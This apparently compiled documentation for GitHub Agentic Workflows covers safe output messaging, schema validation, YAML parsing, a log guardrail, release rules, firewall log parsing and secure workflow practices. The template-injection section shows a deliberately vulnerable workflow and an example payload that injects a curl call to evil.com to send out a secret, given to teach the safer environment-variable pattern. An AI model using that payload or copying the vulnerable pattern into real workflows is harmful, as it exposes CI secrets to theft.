    if err := c.validateStrictNetwork(networkPermissions); err != nil {
        return err
    }

    return nil
}
```


## Safe Output Messages

Safe output functions handle GitHub API write operations (creating issues, discussions, comments, PRs) from AI-generated content with consistent messaging patterns.

### Safe Output Message Flow

The following diagram illustrates how AI-generated content flows through the safe output system to GitHub API operations:

```mermaid
graph TD
    A[AI Agent Output] --> B{Staged Mode?}
    B -->|Yes| C[Generate Preview Messages]
    B -->|No| D[Process Safe Output]
    C --> E[Show 🎭 Staged Mode Preview]
    E --> F[Display in Step Summary]
    D --> G{Safe Output Type}
    G -->|create-issue| H[Create GitHub Issue]
    G -->|create-discussion| I[Create GitHub Discussion]
    G -->|add-comment| J[Add GitHub Comment]
    G -->|create-pull-request| K[Create Pull Request]
    G -->|create-pr-review-comment| L[Create PR Review Comment]
    G -->|update-issue| M[Update GitHub Issue]
    H --> N[Apply Message Patterns]
    I --> N
    J --> N
    K --> N
    L --> N
    M --> N
    N --> O[Add AI Attribution Footer]
    N --> P[Add Installation Instructions]
    N --> Q[Add Related Items Links]
    N --> R[Add Patch Preview]
    O --> S[Execute GitHub API Operation]
    P --> S
    Q --> S
    R --> S
    S --> T[Generate Success Summary]
    T --> U[Display in Step Summary]
```

**Flow Stages:**
1. **AI Agent Output** - AI generates content for GitHub operations
2. **Staged Mode Check** - Determines if operation is in preview mode
3. **Safe Output Processing** - Routes to appropriate GitHub operation type
4. **Message Pattern Application** - Applies consistent formatting (footers, instructions, links)
5. **GitHub API Execution** - Performs the actual GitHub operation
6. **Success Summary** - Reports results in workflow step summary

### Message Categories

#### AI Attribution Footer

Identifies content as AI-generated and links to workflow run:

```markdown
> AI generated by [WorkflowName](run_url)
```

With triggering context:
```markdown
> AI generated by [WorkflowName](run_url) for #123
```

#### Workflow Installation Instructions

```markdown
>
> To add this workflow in your repository, run `gh aw add owner/repo/path@ref`. See [usage guide](https://github.github.com/gh-aw/setup/cli/).
```

#### Staged Mode Preview

All staged mode previews use consistent format with 🎭 emoji:

```markdown
## 🎭 Staged Mode: [Operation Type] Preview

The following [items] would be [action] if staged mode was disabled:
```

#### Patch Preview

Display git patches in pull request bodies with size limits:

```markdown
<details><summary>Show patch (45 lines)</summary>

\`\`\`diff
diff --git a/src/auth.js b/src/auth.js
index 1234567..abcdefg 100644
--- a/src/auth.js
+++ b/src/auth.js
@@ -10,7 +10,10 @@ export async function login(username, password) {
-    throw new Error('Login failed');
+    if (response.status === 401) {
+      throw new Error('Invalid credentials');
+    }
+    throw new Error('Login error: ' + response.statusText);
\`\`\`

</details>
```

Limits: Max 500 lines or 2000 characters (truncated with "... (truncated)" if exceeded)

### Design Principles

#### Consistency
- All AI-generated content uses same blockquote footer format
- 🎭 emoji consistently marks staged preview mode
- URL patterns match GitHub conventions
- Step summaries follow same heading and list structure

#### Clarity
- Clear distinction between preview and actual operations
- Explicit error messages with actionable guidance
- Helpful fallback instructions when operations fail
- Field labels consistently use bold text

#### Discoverability
- Installation instructions included in footers when available
- Related items automatically linked across workflow outputs
- Step summaries provide quick access to created items
- Collapsible sections keep large content manageable

#### Safety
- Labels sanitized to prevent unintended @mentions
- Patch sizes validated and truncated when needed
- Staged mode allows testing without side effects
- Graceful fallbacks when primary operations fail


## Schema Validation

All three JSON schema files enforce strict validation with `"additionalProperties": false` at the root level, preventing typos and undefined fields from silently passing validation.

### Schema Files

| File | Purpose |
|------|---------|
| `pkg/parser/schemas/main_workflow_schema.json` | Validates agentic workflow frontmatter in `.github/workflows/*.md` files |
| `pkg/parser/schemas/mcp_config_schema.json` | Validates MCP (Model Context Protocol) server configuration |

### How It Works

When `"additionalProperties": false` is set at the root level, the validator rejects any properties not explicitly defined in the schema's `properties` section. This catches common typos:

- `permisions` instead of `permissions`
- `engnie` instead of `engine`
- `toolz` instead of `tools`
- `timeout_minute` instead of `timeout-minutes`
- `runs_on` instead of `runs-on`
- `safe_outputs` instead of `safe-outputs`

### Example Validation Error

```bash
$ gh aw compile workflow-with-typo.md
✗ error: Unknown properties: toolz, engnie, permisions. Valid fields are: tools, engine, permissions, ...
```

### Validation Process

```mermaid
graph LR
    A[Read workflow frontmatter] --> B[Parse YAML]
    B --> C[Validate against JSON schema]
    C --> D{Valid?}
    D -->|Yes| E[Continue compilation]
    D -->|No| F[Provide detailed error]
    F --> G[Show invalid fields]
    F --> H[Show valid field names]
```

### Schema Embedded in Binary

Schemas are embedded in the Go binary using `//go:embed` directives:

```go
//go:embed schemas/main_workflow_schema.json
var mainWorkflowSchema string
```

This means:
- Schema changes require running `make build` to take effect
- Schemas are validated at runtime, not at build time
- No external JSON files need to be distributed with the binary

### Adding New Fields

When adding new fields to schemas:

1. Update the schema JSON file with the new property definition
2. Rebuild the binary with `make build`
3. Add test cases to verify the new field works
4. Update documentation if the field is user-facing


## YAML Compatibility

YAML has two major versions with incompatible boolean parsing behavior that affects workflow validation.

### The Core Issue

#### YAML 1.1 Boolean Parsing Problem

In YAML 1.1, certain plain strings are automatically converted to boolean values. The workflow trigger key `on:` can be misinterpreted as boolean `true` instead of string `"on"`.

**Example:**
```python
# Python yaml.safe_load (YAML 1.1 parser)
import yaml

content = """
on:
  issues:
    types: [opened]
"""

result = yaml.safe_load(content)
print(result)
# Output: {True: {'issues': {'types': ['opened']}}}
#          ^^^^ The key is boolean True, not string "on"!
```

This creates false positives when validating workflows with Python-based tools.

#### YAML 1.2 Correct Behavior

YAML 1.2 parsers treat `on`, `off`, `yes`, and `no` as regular strings, not booleans. Only explicit boolean literals `true` and `false` are treated as booleans.

**Example:**
```go
// Go goccy/go-yaml (YAML 1.2 parser) - Used by gh-aw
var result map[string]interface{}
yaml.Unmarshal([]byte(content), &result)

fmt.Printf("%+v\n", result)
// Output: map[on:map[issues:map[types:[opened]]]]
//         ^^^ The key is string "on" ✓
```

### How gh-aw Handles This

GitHub Agentic Workflows uses **`goccy/go-yaml` v1.18.0**, which is a **YAML 1.2 compliant parser**:

- ✅ `on:` is correctly parsed as a string key, not a boolean
- ✅ Workflow frontmatter validation works correctly
- ✅ GitHub Actions YAML is compatible (GitHub Actions also uses YAML 1.2 parsing)

### Compatibility Flow

```mermaid
graph TD
    A[Workflow File] --> B{Parser Type?}
    B -->|YAML 1.1| C[Python yaml.safe_load]
    B -->|YAML 1.2| D[gh-aw / goccy/go-yaml]
    C --> E[on: parsed as True]
    D --> F[on: parsed as string]
    E --> G[False Positive]
    F --> H[Correct Validation]
```

### Affected Keywords

YAML 1.1 treats these as booleans (parsed as `true` or `false`):

**Parsed as `true`:** on, yes, y, Y, YES, Yes, ON, On
**Parsed as `false`:** off, no, n, N, NO, No, OFF, Off

YAML 1.2 treats all of the above as strings. Only these are booleans: `true`, `false`

### Recommendations

#### For Workflow Authors

1. **Use gh-aw's compiler for validation:**
   ```bash
   gh aw compile workflow.md
   ```

2. **Don't trust Python yaml.safe_load for validation** - it will give false positives for the `on:` trigger key.

3. **Use explicit booleans when you mean boolean values:**
   ```yaml
   enabled: true      # Explicit boolean
   disabled: false    # Explicit boolean

   # Avoid for boolean values:
   enabled: yes       # Might be confusing across parsers
   disabled: no       # Might be confusing across parsers
   ```

#### For Tool Developers

1. **Use YAML 1.2 parsers for gh-aw integration:**
   - Go: `github.com/goccy/go-yaml`
   - Python: `ruamel.yaml` (with YAML 1.2 mode)
   - JavaScript: `yaml` package v2+ (YAML 1.2 by default)
   - Ruby: `Psych` (YAML 1.2 by default in Ruby 2.6+)

2. **Document parser version in your tool**

3. **Consider adding compatibility mode** to switch between YAML 1.1 and 1.2 parsing


## MCP Logs Guardrail

The MCP server `logs` command includes an automatic guardrail to prevent overwhelming responses when fetching workflow logs.

### How It Works

```mermaid
graph TD
    A[logs command called] --> B[Generate output]
    B --> C{Output size check}
    C -->|≤ 12000 tokens| D[Return full JSON data]
    C -->|> 12000 tokens| E[Return guardrail message]
    E --> F[Include schema description]
    E --> G[Provide suggested jq queries]
```

### Normal Operation (Output ≤ Token Limit)

When output is within the token limit (default: 12000 tokens), the command returns full JSON data:

```json
{
  "summary": {
    "total_runs": 5,
    "total_duration": "2h30m",
    "total_tokens": 45000,
    "total_cost": 0.23
  },
  "runs": [...],
  "tool_usage": [...]
}
```

### Guardrail Triggered (Output > Token Limit)

When output exceeds the token limit, the command returns structured response with:

```json
{
  "message": "⚠️  Output size (15000 tokens) exceeds the limit (12000 tokens). To reduce output size, use the 'jq' parameter with one of the suggested queries below.",
  "output_tokens": 15000,
  "output_size_limit": 12000,
  "schema": { ... },
  "suggested_queries": [
    {
      "description": "Get only the summary statistics",
      "query": ".summary",
      "example": "Use jq parameter: \".summary\""
    },
    ...
  ]
}
```

### Configuring the Token Limit

Default limit is 12000 tokens (approximately 48KB of text). Customize using the `max_tokens` parameter:

```json
{
  "name": "logs",
  "arguments": {
    "count": 100,
    "max_tokens": 20000
  }
}
```

Token estimation uses approximately 4 characters per token (OpenAI's rule of thumb).

### Using the jq Parameter

Filter output using jq syntax:

**Get only summary statistics:**
```json
{ "jq": ".summary" }
```

**Get run IDs and basic info:**
```json
{ "jq": ".runs | map({database_id, workflow_name, status})" }
```

**Get only failed runs:**
```json
{ "jq": ".runs | map(select(.conclusion == \"failure\"))" }
```

**Get high token usage runs:**
```json
{ "jq": ".runs | map(select(.token_usage > 10000))" }
```

### Implementation Details

**Constants:**
- `DefaultMaxMCPLogsOutputTokens`: 12000 tokens (default limit)
- `CharsPerToken`: 4 characters per token (estimation factor)

**Files:**
- `pkg/cli/mcp_logs_guardrail.go` - Core guardrail implementation
- `pkg/cli/mcp_logs_guardrail_test.go` - Unit tests
- `pkg/cli/mcp_logs_guardrail_integration_test.go` - Integration tests
- `pkg/cli/mcp_server.go` - Integration with MCP server

### Benefits

1. Prevents overwhelming responses for AI models
2. Provides guidance with specific filters
3. Self-documenting with schema description
4. Preserves functionality with jq filtering
5. Transparent messaging about why guardrail triggered

<!-- chapter:end slug=developer-internals -->

---

<!-- chapter:begin slug=developer-release position=35 -->

## 35. developer-release

- **Source:** https://github.com/github/gh-aw/blob/main/.github/skills/developer-release/SKILL.md
- **Raw:** https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/developer-release/SKILL.md
- **Markdown:** https://skillsdocs.com/github/gh-aw/developer-release.md
- **Origin:** Credited — installed into this repository, not published from it.
- **Licence:** MIT — https://spdx.org/licenses/MIT.html

<!-- Verbatim upstream SKILL.md follows, YAML frontmatter included. -->

---
name: developer-release
description: Release management, changeset workflow, firewall log parsing, breaking CLI change rules, and Go module summaries for gh-aw.
---


# Release and CLI Stability

Use this reference for release management procedures, understanding what constitutes a breaking CLI change, firewall log parsing, and Go module summaries.

## Table of Contents

- [Release Management](#release-management)
- [Firewall Log Parsing](#firewall-log-parsing)
- [Breaking CLI Rules](#breaking-cli-rules)
- [Go Module Summaries](#go-module-summaries)

## Release Management

The project uses a minimalistic changeset-based release system inspired by `@changesets/cli`.

### Commands

#### version (Preview Only)

The `version` command operates in preview mode and never modifies files:

```bash
node scripts/changeset.js version
# Or
make version
```

This command:
- Reads all changeset files from `.changeset/` directory
- Determines the appropriate version bump (major > minor > patch)
- Shows a preview of the CHANGELOG entry
- Never modifies any files

#### release [type] [--yes|-y]

The `release` command creates an actual release:

```bash
node scripts/changeset.js release
# Or (recommended - runs tests first)
make release
```

This command:
- Checks prerequisites (clean tree, main branch)
- Updates `CHANGELOG.md` with new version and changes
- Deletes processed changeset files (if any exist)
- Automatically commits the changes
- Creates and pushes a git tag for the release

**Flags:**
- `--yes` or `-y`: Skip confirmation prompt

### Release Workflow

```mermaid
graph TD
    A[Add changeset files] --> B[Preview with version command]
    B --> C{Changes look good?}
    C -->|No| D[Modify changesets]
    D --> B
    C -->|Yes| E[Run release command]
    E --> F[Update CHANGELOG.md]
    F --> G[Delete changeset files]
    G --> H[Commit changes]
    H --> I[Create git tag]
    I --> J[Push tag to remote]
```

### Changeset File Format

Changeset files are markdown files in `.changeset/` directory with YAML frontmatter:

```markdown
"gh-aw": patch

Brief description of the change
```

**Bump types:**
- `patch` - Bug fixes and minor changes (0.0.x)
- `minor` - New features, backward compatible (0.x.0)
- `major` - Breaking changes (x.0.0)

### Prerequisites for Release

When running `release`, the script checks:

1. **Clean working tree:** All changes must be committed or stashed
2. **On main branch:** Must be on the `main` branch to create a release

### Releasing Without Changesets

For maintenance releases with dependency updates:

```bash
# Defaults to patch release
node scripts/changeset.js release

# Or specify release type explicitly
node scripts/changeset.js release minor

# Skip confirmation
node scripts/changeset.js release --yes
```

The script will:
- Default to patch release if no type specified
- Add a generic "Maintenance release" entry to CHANGELOG.md
- Commit the changes
- Create a git tag
- Push the tag to remote


## Firewall Log Parsing

The firewall log parser provides analysis of network traffic logs from agentic workflow runs.

### Log Format

Firewall logs use space-separated format with 10 fields:

```
timestamp client_ip:port domain dest_ip:port proto method status decision url user_agent
```

**Example:**
```
1761332530.474 172.30.0.20:35288 api.enterprise.githubcopilot.com:443 140.82.112.22:443 1.1 CONNECT 200 TCP_TUNNEL:HIER_DIRECT api.enterprise.githubcopilot.com:443 "-"
```

### Field Descriptions

1. **timestamp** - Unix timestamp with decimal (e.g., "1761332530.474")
2. **client_ip:port** - Client IP and port or "-"
3. **domain** - Target domain:port or "-"
4. **dest_ip:port** - Destination IP and port or "-"
5. **proto** - Protocol version (e.g., "1.1") or "-"
6. **method** - HTTP method (e.g., "CONNECT", "GET") or "-"
7. **status** - HTTP status code (e.g., "200", "403") or "0"
8. **decision** - Proxy decision (e.g., "TCP_TUNNEL:HIER_DIRECT") or "-"
9. **url** - Request URL or "-"
10. **user_agent** - User agent string (quoted) or "-"

### Request Classification

```mermaid
graph TD
    A[Parse log line] --> B{Check status}
    B -->|200, 206, 304| C[Allowed]
    B -->|403, 407| D[Denied]
    B -->|Other| E{Check decision}
    E -->|Contains TCP_TUNNEL, TCP_HIT, TCP_MISS| C
    E -->|Contains NONE_NONE, TCP_DENIED| D
    E -->|Other| F[Denied by default]
```

**Allowed Indicators:**
- Status codes: 200, 206, 304
- Decisions containing: TCP_TUNNEL, TCP_HIT, TCP_MISS

**Denied Indicators:**
- Status codes: 403, 407
- Decisions containing: NONE_NONE, TCP_DENIED

**Default:** Denied (for safety when classification is ambiguous)

### Output Examples

#### Console Output

```
🔥 Firewall Log Analysis
Total Requests   : 8
Allowed Requests : 5
Denied Requests  : 3

Allowed Domains:
  ✓ api.enterprise.githubcopilot.com:443 (1 requests)
  ✓ api.github.com:443 (2 requests)

Blocked Domains:
  ✗ blocked-domain.example.com:443 (2 requests)
```

#### JSON Output

```json
{
  "firewall_log": {
    "total_requests": 8,
    "allowed_requests": 5,
    "blocked_requests": 3,
    "allowed_domains": [
      "api.enterprise.githubcopilot.com:443",
      "api.github.com:443"
    ],
    "blocked_domains": [
      "blocked-domain.example.com:443"
    ],
    "requests_by_domain": {
      "api.github.com:443": {
        "allowed": 2,
        "blocked": 0
      }
    }
  }
}
```

### Integration Points

The `logs` and `audit` commands automatically:
1. Search for firewall logs in run directories
2. Parse all `.log` files in `firewall-logs/` or `squid-logs/` directories
3. Aggregate statistics across all log files
4. Include firewall analysis in console and JSON output
5. Cache results in `run_summary.json`

### Implementation

**Files:**
- `pkg/cli/firewall_log.go` (396 lines) - Core parser implementation
- `pkg/cli/firewall_log_test.go` (437 lines) - Unit tests
- `pkg/cli/firewall_log_integration_test.go` (238 lines) - Integration tests

**Testing:**
```bash
# Unit tests
make test-unit

# Integration tests
go test ./pkg/cli -run TestFirewallLogIntegration
```


## Breaking CLI Rules

This section defines what constitutes a breaking change for the gh-aw CLI. These rules help maintainers and contributors evaluate changes during code review and ensure stability for users.

### Overview

Breaking changes require special attention during development and review because they can disrupt existing user workflows. This section provides clear criteria for identifying breaking changes and guidance on how to handle them.

### Categories of Changes

#### Breaking Changes (Major Version Bump)

The following changes are **always breaking** and require:
- A `major` changeset type
- Documentation in CHANGELOG.md with migration guidance
- Review by maintainers

**1. Command Removal or Renaming**

Breaking:
- Removing a command entirely (e.g., removing `gh aw logs`)
- Renaming a command without an alias (e.g., `gh aw compile` → `gh aw build`)
- Removing a subcommand (e.g., removing `gh aw mcp inspect`)

Examples from past releases:
- Removing `--no-instructions` flag from compile command (v0.17.0)

**2. Flag Removal or Renaming**

Breaking:
- Removing a flag (e.g., removing `--strict` flag)
- Changing a flag name without backward compatibility (e.g., `--output` → `--out`)
- Changing a flag's short form (e.g., `-o` → `-f`)
- Changing a required flag to have no default when it previously had one

Examples from past releases:
- Remove GITHUB_TOKEN fallback for Copilot operations (v0.24.0)

**3. Output Format Changes**

Breaking:
- Changing the structure of JSON output (removing fields, renaming fields)
- Changing the order of columns in table output that users might parse positionally
- Changing exit codes for specific scenarios
- Removing output fields that scripts may depend on

Examples from past releases:
- Update status command JSON output structure (v0.21.0): replaced `agent` with `engine_id`, removed `frontmatter` and `prompt` fields

**4. Behavior Changes**

Breaking:
- Changing default values for flags (e.g., `strict: false` → `strict: true`)
- Changing authentication requirements
- Changing permission requirements
- Changing the semantics of existing options

Examples from past releases:
- Change strict mode default from false to true (v0.31.0)
- Remove per-tool Squid proxy - unify network filtering (v0.25.0)

**5. Schema Changes**

Breaking:
- Removing fields from workflow frontmatter schema
- Making optional fields required
- Changing the type of a field (e.g., string → object)
- Removing allowed values from enums

Examples from past releases:
- Remove "defaults" section from main JSON schema (v0.24.0)
- Remove deprecated "claude" top-level field (v0.24.0)

#### Non-Breaking Changes (Minor or Patch Version Bump)

The following changes are **not breaking** and typically require:
- A `minor` changeset for new features
- A `patch` changeset for bug fixes

**1. Additions**

Not Breaking:
- Adding new commands
- Adding new flags with reasonable defaults
- Adding new fields to JSON output
- Adding new optional fields to schema
- Adding new allowed values to enums
- Adding new exit codes for new scenarios

Examples:
- Add `--json` flag to status command (v0.20.0)
- Add mcp-server command (v0.17.0)

**2. Deprecations**

Not Breaking (when handled correctly):
- Deprecating commands (with warning, keeping functionality)
- Deprecating flags (with warning, keeping functionality)
- Deprecating schema fields (with warning, keeping functionality)

Requirements for deprecation:
- Print deprecation warning to stderr
- Document the deprecation and migration path
- Keep deprecated functionality working for at least one minor release
- Schedule removal in a future major version

**3. Bug Fixes**

Not Breaking (when fixing unintended behavior):
- Fixing incorrect output
- Fixing incorrect exit codes
- Fixing schema validation that was too permissive

Note: Fixing a bug that users depend on may require a breaking change notice.

**4. Performance Improvements**

Not Breaking:
- Faster execution
- Reduced memory usage
- Parallel processing optimizations

**5. Documentation Changes**

Not Breaking:
- Improving help text
- Adding examples
- Clarifying error messages

### Decision Tree: Is This Breaking?

```mermaid
graph TD
    A[CLI Change Proposed] --> B{Removing or renaming<br/>command/subcommand/flag?}
    B -->|Yes| BREAK1[BREAKING]
    B -->|No| C{Modifying JSON output<br/>structure?}
    C -->|Yes| BREAK2[BREAKING]
    C -->|No| D{Altering default<br/>behavior?}
    D -->|Yes| BREAK3[BREAKING]
    D -->|No| E{Modifying exit codes<br/>for existing scenarios?}
    E -->|Yes| BREAK4[BREAKING]
    E -->|No| F{Removing schema fields<br/>or making optional required?}
    F -->|Yes| BREAK5[BREAKING]
    F -->|No| SAFE[NOT BREAKING]

    BREAK1 --> REQ[Requires:<br/>- major changeset<br/>- Migration guide<br/>- Maintainer review]
    BREAK2 --> REQ
    BREAK3 --> REQ
    BREAK4 --> REQ
    BREAK5 --> REQ

    SAFE --> ACT[Allowed:<br/>- minor for features<br/>- patch for fixes]
```

### Guidelines for Contributors

**When Making CLI Changes:**

1. Check the decision tree before implementing changes
2. Document breaking changes clearly in the changeset
3. Provide migration guidance for users affected by breaking changes
4. Consider backward compatibility - can you add an alias instead of renaming?
5. Use deprecation warnings for at least one minor release before removal

**Changeset Format for Breaking Changes:**

```markdown
"gh-aw": major

Remove deprecated `--old-flag` option

**⚠️ Breaking Change**: The `--old-flag` option has been removed.

**Migration guide:**
- If you used `--old-flag value`, use `--new-flag value` instead
- Scripts using this flag will need to be updated

**Reason**: The option was deprecated in v0.X.0 and has been removed to simplify the CLI.
```

**Changeset Format for Non-Breaking Changes:**

For new features:
```markdown
"gh-aw": minor

Add --json flag to logs command for structured output
```

For bug fixes:
```markdown
"gh-aw": patch

Fix incorrect exit code when workflow file not found
```

### Review Checklist for CLI Changes

Reviewers should verify:

- [ ] Breaking change identified correctly - Does this change match any breaking change criteria?
- [ ] Changeset type appropriate - Is it marked as major/minor/patch correctly?
- [ ] Migration guidance provided - For breaking changes, is there clear migration documentation?
- [ ] Deprecation warning added - If deprecating, does it warn users?
- [ ] Backward compatibility considered - Could this be done without breaking compatibility?
- [ ] Tests updated - Do tests cover the changed behavior?
- [ ] Help text updated - Is the CLI help accurate?

### Exit Code Standards

The CLI uses standard exit codes:

| Exit Code | Meaning | Breaking to Change |
|-----------|---------|-------------------|
| 0 | Success | No (adding is fine) |
| 1 | General error | No (for new errors) |
| 2 | Invalid usage | No (for new checks) |

Breaking: Changing the exit code for an existing scenario (e.g., changing from 1 to 2 for a specific error type).

### JSON Output Standards

When adding or modifying JSON output:

1. Never remove fields without a major version bump
2. Never rename fields without a major version bump
3. Never change field types without a major version bump
4. Adding new fields is safe - parsers should ignore unknown fields
5. Adding new enum values is safe - parsers should handle unknown values gracefully

### Strict Mode and Security Changes

Special consideration for strict mode changes:

- Making strict mode validation refuse instead of warn is breaking (e.g., v0.30.0)
- Changing strict mode defaults is breaking (e.g., v0.31.0)
- Adding new strict mode validations is not breaking (strictness is opt-in initially)

### References

- **Changeset System**: See Release Management section for version management details
- **CHANGELOG**: See `CHANGELOG.md` for examples of breaking changes
- **Semantic Versioning**: https://semver.org/


## Go Module Summaries

The `scratchpad/mods/` directory contains AI-generated summaries of Go module usage patterns in the gh-aw repository, created by the Go Fan workflow.

### Purpose

Go module summaries provide:
- **Module overview** and version information
- **Files and APIs** that use the module
- **Research findings** from the module's GitHub repository
- **Improvement opportunities** (quick wins, feature opportunities, best practices)
- **References** to documentation and changelog

### File Naming Convention

Module summary files follow a consistent naming pattern where the Go module path has slashes replaced with dashes:

| Module Path | File Name |
|-------------|-----------|
| `github.com/goccy/go-yaml` | `goccy-go-yaml.md` |
| `github.com/spf13/cobra` | `spf13-cobra.md` |
| `github.com/stretchr/testify` | `stretchr-testify.md` |

### Generation Process

The summaries are generated by the [Go Fan workflow](/.github/workflows/go-fan.md):

```mermaid
graph LR
    A[Scheduled Trigger<br/>Weekdays 7 AM UTC] --> B[Load Cache Memory]
    B --> C[Select Next Module<br/>Round-Robin]
    C --> D[Analyze Module Usage]
    D --> E[Research GitHub Repo]
    E --> F[Generate Summary]
    F --> G[Write to scratchpad/mods/]
    G --> H[Update Cache Memory]
    H --> I[Commit & Push]
```

**Update Frequency**: Daily on weekdays (Monday-Friday) at 7 AM UTC

**Round-Robin Selection**: The workflow uses cache-memory to track which module was analyzed last, ensuring each module gets updated in rotation.

### Usage Guidelines

When working with Go modules in the codebase:

1. **Check existing summaries** in `scratchpad/mods/` for module-specific patterns and best practices
2. **Reference improvement opportunities** when upgrading or refactoring module usage
3. **Consult API documentation links** provided in the summaries for authoritative reference
4. **Update summaries manually** if significant changes are made to module usage patterns (the workflow will refresh on its next run)

### Summary Contents

Each module summary includes the following sections:

- **Module Overview**: Version used and general purpose
- **Usage Analysis**: Files and code locations using the module
- **API Surface**: Functions, types, and methods utilized
- **Research Findings**: Information from the module's repository (recent releases, documentation, best practices)
- **Improvement Opportunities**: Suggestions for better module usage
- **References**: Links to documentation, changelog, and GitHub repository


**Last Updated:** 2025-12-01
**Maintainers:** GitHub Next Team

<!-- chapter:end slug=developer-release -->

---

<!-- chapter:begin slug=developer-security position=36 -->

## 36. developer-security

- **Source:** https://github.com/github/gh-aw/blob/main/.github/skills/developer-security/SKILL.md
- **Raw:** https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/developer-security/SKILL.md
- **Markdown:** https://skillsdocs.com/github/gh-aw/developer-security.md
- **Origin:** Credited — installed into this repository, not published from it.
- **Licence:** MIT — https://spdx.org/licenses/MIT.html

<!-- Verbatim upstream SKILL.md follows, YAML frontmatter included. -->

---
name: developer-security
description: "Security best practices for gh-aw workflows and Go code: template injection prevention, shell script security, supply chain hardening, and static analysis integration."
---


# Security Best Practices

Use this reference for security guidelines when implementing or reviewing gh-aw workflow features and Go code.

## Table of Contents

- [Template Injection Prevention](#template-injection-prevention)
- [Cross-Trigger Nullability](#cross-trigger-nullability-in-generated-conditional-expressions)
- [Shell Script Best Practices](#shell-script-best-practices)
- [Supply Chain Security](#supply-chain-security)
- [Workflow Structure and Permissions](#workflow-structure-and-permissions)
- [Static Analysis Integration](#static-analysis-integration)
- [Security Checklist](#security-checklist)

### Template Injection Prevention

Template injection occurs when untrusted input is used directly in GitHub Actions expressions, allowing attackers to execute arbitrary code or access secrets.

#### Understanding the Risk

GitHub Actions expressions (`${{ }}`) are evaluated before workflow execution. If untrusted data (issue titles, PR bodies, comments) flows into these expressions, attackers can inject malicious code.

#### Insecure Pattern

```yaml
# VULNERABLE: Direct use of untrusted input
name: Process Issue
on:
  issues:
    types: [opened]

jobs:
  process:
    runs-on: ubuntu-latest
    steps:
      - name: Echo issue title
        run: echo "${{ github.event.issue.title }}"
```

**Why vulnerable:** Issue title is directly interpolated. An attacker can inject: `"; curl evil.com/?secret=$SECRET; echo "`

#### Secure Pattern: Environment Variables

```yaml
# SECURE: Use environment variables
name: Process Issue
on:
  issues:
    types: [opened]

jobs:
  process:
    runs-on: ubuntu-latest
    steps:
      - name: Echo issue title
        env:
          ISSUE_TITLE: ${{ github.event.issue.title }}
        run: echo "$ISSUE_TITLE"
```

**Why secure:** Expression is evaluated in controlled context (environment variable assignment). Shell receives value as data, not executable code.

#### Data Flow Comparison

```mermaid
graph TB
    subgraph "Unsafe Pattern"
        A1[Untrusted Input] --> B1["Template Expression<br/>${{ ... }}"]
        B1 --> C1[Direct Interpolation<br/>into Shell Command]
        C1 --> D1[Code Execution Risk]
        style D1 fill:#f88,stroke:#f00
    end

    subgraph "Safe Pattern"
        A2[Untrusted Input] --> B2["Template Expression<br/>${{ ... }}"]
        B2 --> C2[Environment Variable<br/>Assignment]
        C2 --> D2[Shell Receives<br/>Data Only]
        D2 --> E2[No Code Execution]
        style E2 fill:#8f8,stroke:#0f0
    end
```

#### Recent Fixes (November 2025)

Template injection vulnerabilities were identified and fixed in:
- `copilot-session-insights.md` - Step output passed through environment variable
- Pattern: Move template expressions from bash scripts to environment variable assignments

See `scratchpad/template-injection-prevention.md` for detailed analysis and fix documentation.

#### Secure Pattern: Sanitized Context (gh-aw specific)

```yaml
# SECURE: Use sanitized context output
Analyze this content: "${{ steps.sanitized.outputs.text }}"
```

The `steps.sanitized.outputs.text` output is automatically sanitized:
- @mentions neutralized
- Bot triggers protected
- XML tags converted to safe format
- Only HTTPS URIs from trusted domains
- Content limits enforced (0.5MB, 65k lines)
- Control characters removed

#### Safe Context Variables

**Always safe to use in expressions:**
- `github.actor`
- `github.repository`
- `github.run_id`
- `github.run_number`
- `github.sha`

**Never safe in expressions without environment variable indirection:**
- `github.event.issue.title`
- `github.event.issue.body`
- `github.event.comment.body`
- `github.event.pull_request.title`
- `github.event.pull_request.body`
- `github.head_ref` (can be controlled by PR authors)

### Cross-Trigger Nullability in Generated Conditional Expressions

When Go code generates GitHub Actions `if:` expressions, nested event fields must be guarded by trigger checks across all declared workflow triggers.

GitHub Actions expression evaluation can fail before any jobs run when an expression accesses an object graph that does not exist for the active trigger (for example `github.event.pull_request.*` on `push`, `workflow_dispatch`, or `schedule`).

#### Insecure Pattern (missing trigger guard)

```go
// VULNERABLE: pull_request-only fields referenced unconditionally
condition := fmt.Sprintf(
    "github.event.pull_request.stack.position >= %d && github.event.pull_request.stack.position <= %d",
    minPos,
    maxPos,
)
```

**Why vulnerable:** On non-PR triggers, `github.event.pull_request` is absent. Property access or arithmetic on absent nested fields can cause expression evaluation failure (`startup_failure`) before workflow error handling can run.

#### Secure Pattern (event_name + nullability guard)

```go
// SECURE: gate nested pull_request fields behind explicit trigger and null checks
condition := fmt.Sprintf(
    "github.event_name == 'pull_request' && github.event.pull_request != null && github.event.pull_request.stack != null && github.event.pull_request.stack.position >= %d && github.event.pull_request.stack.position <= %d",
    minPos,
    maxPos,
)
```

#### Required Guidance for Condition Generation

- Guard every trigger-specific object chain (`github.event.pull_request.*`, `github.event.issue.*`, etc.) with `github.event_name` checks.
- Add nullability guards for each parent object in the chain before accessing deeper properties.
- For workflows with multiple triggers, ensure every trigger path either short-circuits safely or avoids unsupported fields entirely.
- Prefer conservative composition (`A && B && C`) where early terms validate event type/object existence before nested access.

#### Verification Checklist

- Enumerate all declared triggers in the generated workflow.
- For each generated condition, confirm nested event-field access is valid for every trigger.
- Validate that unsupported triggers short-circuit before nested field access.
- Add/update tests in `pkg/workflow/*filter*.go` (or equivalent) that assert safe conditions for mixed-trigger workflows.

### Shell Script Best Practices

#### SC2086: Double Quote to Prevent Globbing and Word Splitting

**Insecure:**
```yaml
steps:
  - name: Process files
    run: |
      FILES=$(ls *.txt)
      for file in $FILES; do
        echo $file
      done
```

**Why vulnerable:** Variables can be split on whitespace, glob patterns are expanded, potential command injection.

**Secure:**
```yaml
steps:
  - name: Process files
    run: |
      while IFS= read -r file; do
        echo "$file"
      done < <(find . -name "*.txt")
```

#### Shell Script Security Checklist

- Always quote variable expansions: `"$VAR"`
- Use `[[ ]]` instead of `[ ]` for conditionals
- Use `$()` instead of backticks for command substitution
- Enable strict mode: `set -euo pipefail`
- Validate and sanitize all inputs
- Use shellcheck to catch common issues

**Example secure script:**
```yaml
steps:
  - name: Secure script
    env:
      INPUT_VALUE: ${{ github.event.inputs.value }}
    run: |
      set -euo pipefail

      if [[ ! "$INPUT_VALUE" =~ ^[a-zA-Z0-9_-]+$ ]]; then
        echo "Invalid input format"
